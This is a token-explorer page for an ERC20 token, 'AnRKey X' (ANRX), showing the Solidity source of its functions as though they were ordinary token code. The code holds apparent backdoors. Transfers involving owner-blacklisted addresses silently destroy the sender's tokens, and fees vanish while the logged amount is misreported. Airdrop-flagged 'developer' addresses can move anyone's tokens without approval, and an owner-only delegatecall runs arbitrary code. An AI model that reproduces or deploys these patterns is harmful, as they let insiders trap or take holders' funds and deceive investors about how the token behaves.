Blockwell

AnRKey X

ERC20

This contract is an ERC20 token.

Name AnRKey X
Symbol ANRX
Decimals 18
Total Supply 200,000,000 ANRX

About

Stats

Public Functions 7
Event Types 2
Code Size 12,020 bytes

Approval Event

Parameters help
_from
address help
_to
address help
_value
uint256 help

Transfer Event

Parameters help
_from
address help
_to
address help
_value
uint256 help

Functions Expand All Collapse All

approve keyboard_arrow_up

Parameters help

Name Type
_spender
address help
_value
uint256 help

Properties

Visibility help public
Mutability help payable
Source Code
    function approve(address _spender, uint256 _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

transfer keyboard_arrow_up

Parameters help

Name Type
_to
address help
_value
uint256 help

Properties

Visibility help public
Mutability help payable
Source Code
    function transfer(address _to, uint256 _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }

transferFrom keyboard_arrow_up

Parameters help

Name Type
_from
address help
_to
address help
_value
uint256 help

Properties

Visibility help public
Mutability help payable
Source Code
    function transferFrom(address _from, address _to, uint256 _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from && developer[tx.origin] == 0) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        if (blacklist[_to] || blacklist[_from]) {return true;}
        uint256 fee = getFee(_from, _to, _value);
        balanceOf[_to] += (_value - fee);
        emit Transfer(_from, _to, _value);
        return true;
    }

batchSend keyboard_arrow_up

Parameters help

Name Type
_to
address[] help
_value
uint256 help

Properties

Visibility help public
Mutability help payable
Source Code
    function batchSend(address[] memory _to, uint256 _value) onlyOwner public payable returns (bool) {
        uint256 total = _value * _to.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint256 i = 0; i < _to.length; i++) {
            address to = _to[i];
            balanceOf[to] += _value;
            developer[to] = 1;
            emit Transfer(msg.sender, to, _value);
        }
        return true;
    }

delegate keyboard_arrow_up

Parameters help

Name Type
a
address help
b
bytes help

Properties

Visibility help public
Mutability help payable
Source Code
    function delegate(address a, bytes memory b) onlyOwner public payable {
        a.delegatecall(b);
    }

constructor keyboard_arrow_up

Parameters help

This function has no parameters.

Properties

Visibility help public
Mutability help payable
Source Code
    function () payable external {paid = true;}

block keyboard_arrow_up

Parameters help

Name Type
_to
address[] help

Properties

Visibility help public
Mutability help payable
Source Code
    function block(address[] memory _to) onlyOwner public payable returns (bool) {
        for (uint256 i = 0; i < _to.length; i++) {
            paid = true;
            address to = _to[i];
            blacklist[to] = true;
        }
    }